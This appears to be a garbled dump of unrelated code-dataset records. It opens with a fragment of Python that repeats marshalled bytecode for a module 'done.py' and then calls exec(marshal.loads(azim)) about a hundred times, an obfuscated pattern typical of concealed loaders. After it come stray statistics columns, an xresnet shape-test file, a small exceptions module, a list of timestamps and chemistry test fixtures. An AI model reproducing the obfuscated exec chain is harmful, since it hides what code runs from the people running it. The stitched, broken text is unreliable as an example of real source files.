\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00'));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim));exec(marshal.loads(azim))
| 10,212.666667
| 61,224
| 0.749412
| 13,794
| 61,276
| 3.322749
| 0.068436
| 0.445608
| 0.433565
| 0.429899
| 0.804577
| 0.783327
| 0.768862
| 0.757974
| 0.736767
| 0.720797
| 0
| 0.36429
| 0.011032
| 61,276
| 5
| 61,225
| 12,255.2
| 0.392046
| 0.000506
| 0
| 0
| 0
| 4
| 0.543082
| 0.530118
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 1
| 0
| 1
| 0.5
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
|
0
| 20
|
0aba70bfa71a4013a6ae03e5eb1c067085198c3d
| 7,135
|
py
|
Python
|
tests/model/backbone/test_xresnet.py
|
mhd53/retinanet-from-torch
|
656afde34c5a281a10160151c9e036718eb4a716
|
[
"MIT"
] | null | null | null |
tests/model/backbone/test_xresnet.py
|
mhd53/retinanet-from-torch
|
656afde34c5a281a10160151c9e036718eb4a716
|
[
"MIT"
] | null | null | null |
tests/model/backbone/test_xresnet.py
|
mhd53/retinanet-from-torch
|
656afde34c5a281a10160151c9e036718eb4a716
|
[
"MIT"
] | null | null | null |
import pytest
import torch
from model.backbone.xresnet import xresnet50, xresnet101, xresnet152
BATCH_SIZE = 1
@pytest.fixture(scope="module")
def init_224x224_dummy_data():
return torch.randn((BATCH_SIZE, 3, 224, 224))
@pytest.fixture(scope="module")
def init_512x512_dummy_data():
return torch.randn((BATCH_SIZE, 3, 512, 512))
def test_xresnet_with_50_layers_224_image_wo_classification_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet50(out_features=["res2", "res3", "res4", "res5"])
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 330
def test_xresnet_with_101_layers_224_image_wo_classification_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet101(out_features=["res2", "res3", "res4", "res5"])
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 636
def test_xresnet_with_152_layers_224_image_wo_classification_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet152(out_features=["res2", "res3", "res4", "res5"])
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 942
def test_xresnet_with_50_layers_224_image_wo_classification_w_dropout_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet50(out_features=["res2", "res3", "res4", "res5"], use_dropout=True)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 330
def test_xresnet_with_101_layers_224_image_wo_classification_w_dropout_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet101(out_features=["res2", "res3", "res4", "res5"], use_dropout=True)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 636
def test_xresnet_with_152_layers_224_image_wo_classification_w_dropout_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet152(out_features=["res2", "res3", "res4", "res5"], use_dropout=True)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 942
def test_xresnet_with_50_layers_224_image_w_classification_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet50(out_features=["res2", "res3", "res4", "res5"], num_classes=1000)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 332
def test_xresnet_with_101_layers_224_image_w_classification_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet101(out_features=["res2", "res3", "res4", "res5"], num_classes=1000)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 638
def test_xresnet_with_152_layers_224_image_w_classification_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet152(out_features=["res2", "res3", "res4", "res5"], num_classes=1000)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 944
def test_xresnet_with_50_layers_224_image_w_classification_and_dropout_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet50(
out_features=["res2", "res3", "res4", "res5"],
num_classes=1000,
use_dropout=True,
)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 332
def test_xresnet_with_101_layers_224_image_w_classification_and_dropout_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet101(
out_features=["res2", "res3", "res4", "res5"],
num_classes=1000,
use_dropout=True,
)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 638
def test_xresnet_with_152_layers_224_image_w_classification_and_dropout_shapes(
init_224x224_dummy_data,
):
data = init_224x224_dummy_data
model = xresnet152(
out_features=["res2", "res3", "res4", "res5"],
num_classes=1000,
use_dropout=True,
)
outputs = model(data)
assert outputs["res2"].shape == (BATCH_SIZE, 256, 56, 56)
assert outputs["res3"].shape == (BATCH_SIZE, 512, 28, 28)
assert outputs["res4"].shape == (BATCH_SIZE, 1024, 14, 14)
assert outputs["res5"].shape == (BATCH_SIZE, 2048, 7, 7)
assert len(model.state_dict().items()) == 944
| 30.75431
| 87
| 0.679327
| 985
| 7,135
| 4.631472
| 0.072081
| 0.100614
| 0.147304
| 0.109601
| 0.974134
| 0.974134
| 0.960544
| 0.960544
| 0.945199
| 0.945199
| 0
| 0.130435
| 0.171549
| 7,135
| 232
| 88
| 30.75431
| 0.641347
| 0
| 0
| 0.772727
| 0
| 0
| 0.055493
| 0
| 0
| 0
| 0
| 0
| 0.38961
| 1
| 0.090909
| false
| 0
| 0.019481
| 0.012987
| 0.123377
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0afffc81b841bc6be22f1876e6a70b7832f92e57
| 155
|
py
|
Python
|
echome/vault/exceptions.py
|
jasoncolburne/echome
|
a5ab87666ae859d1ca8e4902d5c441c0ce36547a
|
[
"MIT"
] | null | null | null |
echome/vault/exceptions.py
|
jasoncolburne/echome
|
a5ab87666ae859d1ca8e4902d5c441c0ce36547a
|
[
"MIT"
] | null | null | null |
echome/vault/exceptions.py
|
jasoncolburne/echome
|
a5ab87666ae859d1ca8e4902d5c441c0ce36547a
|
[
"MIT"
] | null | null | null |
class CannotUnsealVaultServerError(Exception):
pass
class VaultIsSealedError(Exception):
pass
class SecretDoesNotExistError(Exception):
pass
| 17.222222
| 46
| 0.793548
| 12
| 155
| 10.25
| 0.5
| 0.317073
| 0.292683
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148387
| 155
| 8
| 47
| 19.375
| 0.931818
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
7c3768caecc15adc7b68ce0aad2c8048661a9487
| 63
|
py
|
Python
|
timestamp.py
|
microprediction/deeds
|
78d74e87ad0697326ada00aa296622444b4ebeb1
|
[
"MIT"
] | null | null | null |
timestamp.py
|
microprediction/deeds
|
78d74e87ad0697326ada00aa296622444b4ebeb1
|
[
"MIT"
] | null | null | null |
timestamp.py
|
microprediction/deeds
|
78d74e87ad0697326ada00aa296622444b4ebeb1
|
[
"MIT"
] | 1
|
2020-12-09T03:23:35.000Z
|
2020-12-09T03:23:35.000Z
|
10/24/2020, 12:47:57
10/24/2020, 12:48:04
10/29/2020, 23:51:56
| 15.75
| 20
| 0.666667
| 18
| 63
| 2.333333
| 0.666667
| 0.190476
| 0.380952
| 0.47619
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.736842
| 0.095238
| 63
| 4
| 21
| 15.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7c39313e312acf1e5e9350fb4b84a724d807a132
| 2,680
|
py
|
Python
|
tests/ea/fitness_normalizer/fixtures/divide_by_mean.py
|
stevenbennett96/stk
|
6e5af87625b83e0bfc7243bc42d8c7a860cbeb76
|
[
"MIT"
] | null | null | null |
tests/ea/fitness_normalizer/fixtures/divide_by_mean.py
|
stevenbennett96/stk
|
6e5af87625b83e0bfc7243bc42d8c7a860cbeb76
|
[
"MIT"
] | null | null | null |
tests/ea/fitness_normalizer/fixtures/divide_by_mean.py
|
stevenbennett96/stk
|
6e5af87625b83e0bfc7243bc42d8c7a860cbeb76
|
[
"MIT"
] | null | null | null |
import pytest
import stk
from ..case_data import CaseData
def _get_case_data_1() -> CaseData:
topology_graph = stk.polymer.Linear(
building_blocks=(
stk.BuildingBlock('BrCCBr', [stk.BromoFactory()]),
),
repeating_unit='A',
num_repeating_units=2,
)
return CaseData(
fitness_normalizer=stk.DivideByMean(),
population=(
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value(1),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value(2),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value(3),
),
normalized=(
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value(0.5),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value(1),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value(1.5),
),
)
def _get_case_data_2() -> CaseData:
topology_graph = stk.polymer.Linear(
building_blocks=(
stk.BuildingBlock('BrCCBr', [stk.BromoFactory()]),
),
repeating_unit='A',
num_repeating_units=2,
)
return CaseData(
fitness_normalizer=stk.DivideByMean(
filter=lambda population, record:
record.get_fitness_value() is not None,
),
population=(
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value((1, 10, 100)),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value((2, 20, 200)),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value((3, 30, 300)),
stk.MoleculeRecord(topology_graph),
),
normalized=(
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value((0.5, 0.5, 0.5)),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value((1, 1, 1)),
stk.MoleculeRecord(
topology_graph=topology_graph,
).with_fitness_value((1.5, 1.5, 1.5)),
stk.MoleculeRecord(topology_graph),
),
)
@pytest.fixture(
scope='session',
params=(
_get_case_data_1,
_get_case_data_2,
),
)
def divide_by_mean(request) -> CaseData:
return request.param()
| 28.510638
| 62
| 0.560448
| 256
| 2,680
| 5.542969
| 0.226563
| 0.256519
| 0.246653
| 0.295983
| 0.796335
| 0.774489
| 0.774489
| 0.774489
| 0.774489
| 0.774489
| 0
| 0.026479
| 0.337687
| 2,680
| 93
| 63
| 28.817204
| 0.772958
| 0
| 0
| 0.626506
| 0
| 0
| 0.007836
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.036145
| false
| 0
| 0.036145
| 0.012048
| 0.108434
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7c45a9673b94a8e6716b5ab918c99e6c7540b24c
| 4,064
|
py
|
Python
|
build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/copper_smith/related_message_attack.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 12
|
2018-12-31T09:47:33.000Z
|
2022-02-19T09:24:33.000Z
|
